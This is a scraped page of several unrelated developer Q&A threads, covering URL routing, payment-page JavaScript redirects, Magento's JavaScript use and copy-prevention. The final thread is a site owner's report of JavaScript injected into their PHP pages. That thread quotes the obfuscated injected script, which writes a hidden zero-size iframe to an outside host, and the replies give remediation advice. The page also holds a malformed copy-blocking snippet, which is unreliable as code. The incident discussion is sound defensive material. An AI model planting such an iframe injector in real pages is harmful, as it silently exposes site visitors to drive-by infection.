We Keep Coding

How to change html content with URL?

I'm a beginner at coding, I know javascript but not super advanced objectd,
I'd like to know how to change html content with its URL. For example,I am on a website like GMAIL, it has different page of registring and logging in. These two pages have different URLs.
What I'd like to know is how do they change the URL along with HTML when I click on the button "Log in". Is this possible through server-side like node.js and express, or just with front-end javascript?
One last thing, do websites have multiple web pages or it's just in one single HTML file?
Well, I have set up a practice project, but I don't know what I am doing.
I changed HTML content with jQuery library but I don't know how to change URL.
First I made a homepage with some text and two links to two forms.
I showed registration form when click on "Sign in", and log in form on "Log in", and hid the homepage with the show() and hide(). The URL doesn't change in order to work with it with express. I tried it with history.pushState() but it messed up things: I can't return to homepage, and it didn't change the URL i wanted based on the form. So i deleted it, and I am stuck and don't know I could find some tutorials online.
My code doesn't contain anything other than what I described.
So, please can you explain to me how websites do that.
And one other thing, my express server now is very slow, it takes nearly 5min to start. I don't know if it's because my pc which is old and not super good unfortunately.
Can you please advice me with some tutorials and tips?

I agree that your question is too broad. Even there is many years invested in unversity to know these stuff well, I believe in self learning, so I will give you some light for your next steps in this world.
Here are some questions you may ask Google or research where ever you want:
There's both applications that hosts entire html documents in a server and reacts to http requirements responding with different ones. These are the first ones in existence.
Today the trend is to host information on distributed servers (Even cloud) as services to interact with just as information repositories, and entire client side applications that handles that information to show to the user in a more interaction friendly way.
So here are 4 first questions you can ask:
How does HTTP protocol works (with html documents e.g.)?
What's the difference between thin client and fat client applications?
What are web services?
How can I do a simple client side application with different routes using a public web service?
There is a lot of information to read about, and that's not the way I learned in university, so I can not tell you that's the right way or even a good one. Anyway, you should consider taking a web programmer beginner course, if you already know about basic algorithmic composition.
Wish you the best in this extensive path...

Why do banks payment validation systems use JavaScript redirects

When you pay through online payment systems ( being with or without 3DSecure), you fill in the form and validate, and from a strictly visual point of view, things seems pretty straightforward. But behind, there is often multiple redirections, which are handled through JavaScript.
Basically, your data is submitted, and you land on a page with a pre-filled form, which is immediately submitted through JavaScript, sometimes multiple times in a row (with fast enough connection, you don't even see those steps from browser).
I was wondering why they do it that way (instead of proper back-end redirections), and I can't find an answer to it.
My guess is that it's just to make it harder for scripts to follow it, but it's still possible to do it (so why bother), and to my opinion, the "dirty aspect" of it (from a coder point of view) is not worth the constraints it gives to scripts that would attempt an automatic validation.
Do you have any insights on this?

From my view, using the JavaScript will detect the bot or human efficiently.
As you can already saw, how the Google validate the bot.
It's just simple a check box, but it's quite complicated if you try to write the bot to verify or pass the check. (Now I still don't know how to pass by it ^)

Magento - javascript reliance = huge usability issues

Ok this is a bit of a rant and a question combined - Why the hell is magento so reliant on javascript?? This goes agaisnt all usability guidelines. WHats so annoying is that it even uses buttons instead of correct form submit elements. Why? This makes no sense what sense at all to me.
Why is this and is there a way around it?

The past five years have seen an increase of web application developers eschewing the common wisdom of of the late 20th and early 21st century by creating applications and require javascript as a baseline technology. Magento is following this trend because they want to provide a moden, AJAX enabled experience, and providing both a Javascript and non-Javascript experience increases both development and testing time.
Most decisions in the e-commerce industry come down to the ROI of increased sales. Magento has calculated/bet/decided that sales lost due to people having Javascript off are less than the cost of developing both a javascript and non-javascript experience.
As for their use of the HTML button attribute, Magento isn't a web page, it's a web application. Their architecture takes a Java like approach, including a UI that's abstracted away from the browser. This means PHP is used to tame the browser rather than using PHP to work with the browser. In this context button elements (driven by Javascript) make more sense. Take a look at Google Web Tools for another example of this.
The way to "get around" this is to not use Magento, or to customize Magento such that it fits your model of what web development should be. If your first response to this is "woah, that would take way too much time", then congratulations, you're thinking exactly the same way that Magento is. Magento, the company, isn't Microsoft, or Oracle, or SAP. They're a 200 person company, and expecting them to solve all your problems (for free) isn't realistic.
Welcome to 2010.

Magento's JS reliance is unusable in exactly one way: you cannot use the store without it. That's a big one (losing 1/20 of your customers is not a small thing), but ultimately it's a tradeoff that they decided was worth it.
As an example of the flexibility that you get as a result of this decision, consider the case of configurable products, especially with pricing differences. Magento allows you to create products that are configurable over N axes, in a ragged manner (some color/size combinations of clothing can be missing, for example), with different pricing for every single option. Doing that without JS would be tough, doing it elegantly (which Magento has, for the most part), is nigh impossible. By enforcing JS, the developers at Magento, Inc can spend their time implementing these kinds of features more quickly, which is to everyone's benefit.
To answer the question at the end of your post, no you cannot get by without it -- at least without writing a new frontend theme that reimplements everything from scratch, which nobody so far seems to have been able to do. Personally, the number of JS libraries that Magento uses seems pretty heinous to me, but nobody seems to have solved that problem either. The app is too complex and tightly woven to unwind that far.
Sorry it's not better news, but I hope that at least clarifies some of the thinking for the way things are.
Thanks,
Joe

"Why is this and is there a way around it?"
Although the front end uses Javascript heavily it is only essential in a couple of places. Configurable products is one. The one-page checkout is another but that at least can be disabled in System > Configuration > Checkout > Checkout Options.
Buttons with event handlers can be rewritten as a matter of theming, in some cases their destination URL is not the same as their form submission so a little forethought is required. In some cases buttons are not in the form element they are submitting, that is why they use script.
I will assume when considering accessibility you are not concerned about luxuries like image zoom and search suggestions. I notice HTML5 provides the datalist element for input suggestions but some sort of script would still be needed to update it beyond the initial suggestion.
Overall Magento is quite functional without Javascript, just not as out-of-the-box. An 'accessible' theme would make a valid extension should someone want to develop it.

We've just been looking into this when I came across this post (first time we've used the magento platform and our first project with it).
Typically we'd ensure that every site we develop degrades gracefully without javascript, but this is looking like it might be too much work for us on this particular project at least for the first phase (tight deadline alongside steep learning curve).
While I agree that javascript can offer some great usability enhancements, providing a non-javascript fallback isn't just about supporting the odd akward person who insists on turning it off.
Some users using disabled access devices (screen readers etc) as far as I know, might not have the option to use javascript either (or may find javascript interfaces more troublesome to use if not impossible in some cases). In these cases if it doesn't degrade gracefully for them, then I'm a bit concerned that it may conflict with disability discrimination legislation in the UK/EU (where our client operates).
For this reason, I'm not sure we can take the position the magento developers have in the long run (we'll probably end up backtracking and resolving this ourselves ultimately and I'm guessing that will take us longer than if it degraded gracefully from the start and we could simply build upon that).
The admin area is less of an issue, but the front end should work without javascript imho and I was a bit surprised when I discovered that it didn't work without it (the client came to us specifying magento so there isn't much we can do but run with it at the moment).

I think you'll find that the Javascript in most cases significantly enhances the usability. Trying to implement something like the Manage Products grid, Manage Categories tree or Promotions editor without Javascript would be a usability nightmare. When you look at the stats, well over 95% of browsers have Javascript enabled, so what's the problem?

Try using this site with java-script disabled. It works but start counting the post backs and you will see why usability trumps the few folks who insist on disabling java-script.

how to restrict user to copy web content

I am creating a web site and my client demands to restrict user to copy TEXT displayed on the web page.how can I do that? I am using PHP and HTML in my application.

Not trying to be rude, but why do people keep asking this? If you want people to be able to see the information, then you cannot prevent them from copying it. Any kind of javascript nonsense to prevent right-clicking or selection or whatever else will not stop determined thieves and will annoy legitimate users.

As mentioned by every answer previously, there's no way to prevent someone from being able to use the copy from your site. Even if you use methods to restrict direct copy and paste, there are always screenshots, OCR or good old writing by hand.
Looking at it from a different perspective...if the content is sensitive and your client doesn't want it distributed, you COULD add it to a section of your site that requires registration and authentication to access. By doing this you could require that users agree to terms and conditions on registration which explicitly deny permission to reproduce any of the content from the site.
Just a thought.

As every other answer has said, there is nothing technically you can to to prevent people from copying the text of your page. For the text to be display to the user, you must send it to the user's computer, which means they can copy it.
However, you can legally prevent them from copying the text with a service like CopyScape
Copyscape is dedicated to protecting
your valuable content online. We
provide the world's most powerful and
most popular online plagiarism
detection solutions, ranked #1 by
independent tests. Copyscape's
products are trusted by millions of
website owners worldwide to check the
originality of their new content,
prevent duplicate content, and search
for copies of existing content online.
Copyscape provides a free service for
finding copies of your web pages
online, as well as two more powerful
professional solutions for preventing
content theft and content fraud:
Copyscape Premium provides more
powerful plagiarism detection than the
free service, plus a host of other
features, including copy-paste
originality checks, batch search, case
tracking and an API
Copysentry provides comprehensive
protection for your website by
automatically scanning the web daily
or weekly and emailing you when new
copies of your content are found.
Read more on their site.

you can force people to call a phone number to hear the text of your website, a great solution if you do not want people to copy/paste the text of your webpage

Basically, you cannot. Even if there was a way to restrict user from copy & paste the text, they can always just grab the screen and translate it somehow into text.
I'd recommend not to try restrict users in any way. It's not really friendly and people usually hate it. If you want to create some private content, just make people to log in, do some ACL check and hope that they won't copy it somewhere else. You could also consider using some kind of license to prevent people from "stealing" your content.

Even if he was to build the system in flash the user could still hand write out the content if they desperately wanted it, like everyone else said its impossible to stop a determined person from getting your content, unless of course you don't display it.

No, AFAIK, there is no way you can achieve that. Unless you're building the whole thing in Flash or other non-HTML plugin contents.

The short answer is that you can't (easily) do this - if it's visible in the browser then it is obtainable somehow. This is particularly the case if you are just displaying text.

And it all gets back to "Why"? If the information is secret, don't show it to someone in the first place. If you're concerned about copyright violation, as others have said, once someone sees the text, even if you somehow came up with a brilliant technical solution that prevented them from copying the text in any way (which I doubt is possible), they could always write it down by hand, or take a picture of the screen with a digital camera and then OCR it. In the digital age, your protection against copyright violation is more legal than technical: if somebody steals your material and resells it, sue them.
Depending on the nature of your material, you may be able to make it awkward for people to get it all on one screen. Like, if you were running an on-line phone book and you were afraid of people stealing your listings, instead of displaying some large number of listings on one giant page -- all the "A"s or whatever -- you could require people to enter search terms and only show two or three possible hits at a time. Then if someone wanted to steal your listings, they would have to spend thousands of hours entering every imaginable search term. Now that I think of it, I was using some phone book site the other day that gave me a listing of names and addresses that were possible matches, but then I had to click on each one to get the phone number. At the time I thought "dumb nuisance", but now it hits me: they probably had the same idea that I briefly thought was original. Anyway, if your material is a database of individual factoids, this could be practical. If it's an article on the economic history of Lithuania or some such, making the user seach for it in tiny pieces is just going to make people abandon you and look elsewhere.
Personally, I've taken the philosophy that I just don't care. I've had many occassions when I've done Google searches on subjects that interest me and turned up articles that I've written, on sites that never asked my permission. I once even found an article that I wrote on one of those pre-written student papers web sites. (Not that any student would just paste his name on it, print it off, and hand it in, of course. They are "for research purposes only". I'm sure if they knew of students claiming this as their own work they would take down the site immediately.) So an article that I published on the web, available to anyone for free, these people were now charging dishonest students $25 to download! My reaction was, Way cool! It's one thing when others quote you, but you've really reached the big time when others plagiarize you!

This is not possible.
You cannot prevent someone from getting the information if you're sending it to them so they can see it. A user can simply view the source of the HTML and see what the text is and copy it from there and there's nothing you can do to stop them.
Implementing anything in JavaScript is completely ineffective since anyone can just disable JavaScript in their browser and get around it, and you'll only end up annoying your users.
The only way to prevent someone copying the text from a web page is to not put it on the web page in the first place.

If you presented content via images, or flash, and prevented the ability to save as that might be a solution. I found some resources you might find useful in protecting images here and some information on "preventing" print screen here.
Unfortunately, there is no easy solution for your question, as once the content is delivered to the user, they have ultimate control over the information (who's preventing them from taking an actual picture of the site?).

Well, the PHP has nothing to do with it, as that's server-side. You might be able to cook up something in javascript (it's fairly easy to disable right-click; it may also be possible to disable text highlighting), but it's fairly easy to get around this. Failing all else, the user might view source, though that can be encrypted too:
document.write(base64decode('encoded string containing entire HTML document'));
This is, frankly, both annoying and pointless. Anything that's available to the user can be taken somehow. Even flash isn't immune. (There are browser plugins available to take videos out of flash.)

You may want to look at your target audience as well to help determine how you want to make it harder (since you can't realistically prevent it)..
For the simple user just disabling the right click may be good enough to prevent it. Slightly more work would be to do as others had suggested and create an image. With the image you'd probably want to set a background-image on a DIV or something since you can easily drag images, using the IMG tag, straight from the page onto you desktop, or wherever. From there you could use Flash, or some other RIA, or maybe even SVG/VML..
Anyone who knows how to do a screen capture really narrows down what you can feasibly implement :(

<script type="text/JavaScript">
//script to bar copying of website contents
function killCopy(e){
return false
}
function reEnable(){
return true
}
document.onselectstart=new Function("return false"){
if (window.sidebar){
document.onmousedown=killcopy
document.onclick=reEnable
}
};
</script>

JavaScript being injected in my PHP Pages

I have a website, and I just discovered that somehow someone injected JavaScript on my page. How can I figure out what it does and how they did it?
<script> var x = unescape("%68% (**** some other hex characters here
****%74%2e%63%6e%2f%76%69%64");document.write("<i"+"fr"+"am"+"e
s"+"r"+"c=\""+x+"/ind"+"e"+"x.p"+"hp\" w"+"id"+"th=\"0\" he"+"i"+"ght=\"0\"
fr"+"a"+"m"+"ebor"+"de"+"r=\"0\"><"+"/ifra"+"m"+"e>"); </script>
Which I'm not sure how got there. Anyone know how it got there? and what I can do to remove it?

You need to know this now:
We see this at Linode quite a bit, and it's an indication that your server has been compromised by an attacker. When unescaped, it's likely to be a browser exploit that will infect your users, or a link to a spam site.
Save everything with the injected code for later analysis, and redeploy your entire server and Web stack immediately. The attacker undoubtedly has at least a shell on your box, and that will inevitably lead to root if he's crafty.
Redeploy now, keep your applications up to date, stop writing exploitable PHP, and lock down your user accounts with strong passwords or SSH keys. Not trying to pimp my company or anything, but this is such a common occurrence on poorly-managed Web boxen that we've written an article about how to completely redeploy from scratch. I suggest it several times a day.
EDIT: If you're downvoting me, please say why -- I've triaged three cases with this exact code, so I'm not making things up.
EDIT 2: There is one regard where I may be overestimating the situation, and it's only because I'm an employee of a VPS company (and I see this a lot). I made a mistake in assuming that this user's "Web host" was a server under his control, not shared hosting. That was a mistake, but there still is the chance that I'm right.
Compromise is a desperate situation where working in the dark can have disastrous consequences. If you do not know why an unauthorized party gained access to your infrastructure, you cannot rectify the problem. Since everyone assumed we're talking about managed, shared hosting here -- there is the chance that you're right and XSS is to blame. Again, the question was not presented with much data, and compromise is a situation that is not treated with enough gravity among developers in general.
I'm honestly tired of tickets that we open where a box is hitting another on the Internet with SSH probes, DoS data, URL injection, or anything for that matter -- and the Rails or PHP developer administering the box has no idea why it happened or what he can do about it. These are all things that indicate system compromise, not XSS. Therefore, my assumption that this was a server under the OP's control was misplaced, but it's forgivable (I hope) because I'm at work right now, handling those tickets.
If you'd like me to delete my answer, just say so, but I don't see any others getting votes.

Since you mentioned PHP, I'll run through a list of possible ways it could have happened. This list is not all-inclusive; but it will allow you to do a fair amount of investigation into what happened.
It's possible your web host was hacked and this was placed into your page through lax security on their part. However, do not assume this is the case. This should be your last resort.
It's probably your fault. I don't say this to point blame; but the sooner we developers realize we're the cause of our problems, the better off we'll all be. The only developer I don't trust is the one that says he doesn't make mistakes.
Your site was probably hit with an XSS attack.
Do you have any way for a user to type in information on your website? Do you use any textboxes or anything that would allow input from the user?
If so, then your site is vulnerable to XSS and other attacks. Here's a 'cheat-sheet' that will tell you general things you can do to mitigate this.
You should not allow any user data to pass to the database without being parametrized.
If you're going to allow a user to insert HTML, then you need to sanitize it.
Don't use magic quotes.
There are many ways this could have happened, but without more information, I'm going off of what you've written.
Steps:
Take the app offline.
Query your database to see how many pages / entries this has been injected into.
Check through your code for the things I mention.
Fix those.
Go through your database and take out any suspect lines (a SQL script would be easiest).
Re-deploy App.
Make sure you keep an eye on your webserver logs. They're a godsend to determining where the attack came from.

Are you using any 3rd party applications that have security holes? For example, a while back we had an issue with an old version of FCK editor, set up in the default location with all the samples folders in place that were being used to upload bad files.

The obfuscated part unescapes to "t.cn/vid"

As I see your pages are been injected in code, so this was done because there is a security hole in your server or in any application running on it. The hacker has writing capabilities to your scripts and the solution can be so easy as changing your FTP password or so complex as searching for a hole in any application installed in your server.
But first try to change your FTP password, Change it by a very hard to guess one, at least 12 characters long with any special character on it. I have heard that there was a brute force attack being directed from russian hackers that was injecting scripts in the headers of the pages to redirect the users to any other sites for any obscure purpose.

It's less likely that this was done through your own code (since the code, nor the possible exploits for this are usually not widely known -- but that's obviously no reason not to secure it), but do a check for common but outdated apps (WordPress, Drupal, ...) on your account.
I've encountered something similar a few days ago, it turned out that there was an old WordPress (v2.0 I think) blog installed through which they could gain access.
If you can, also check your server logs for the time that your PHP files on the server were last modified. In my case, it gave a clear record of how they entered and what to do against it.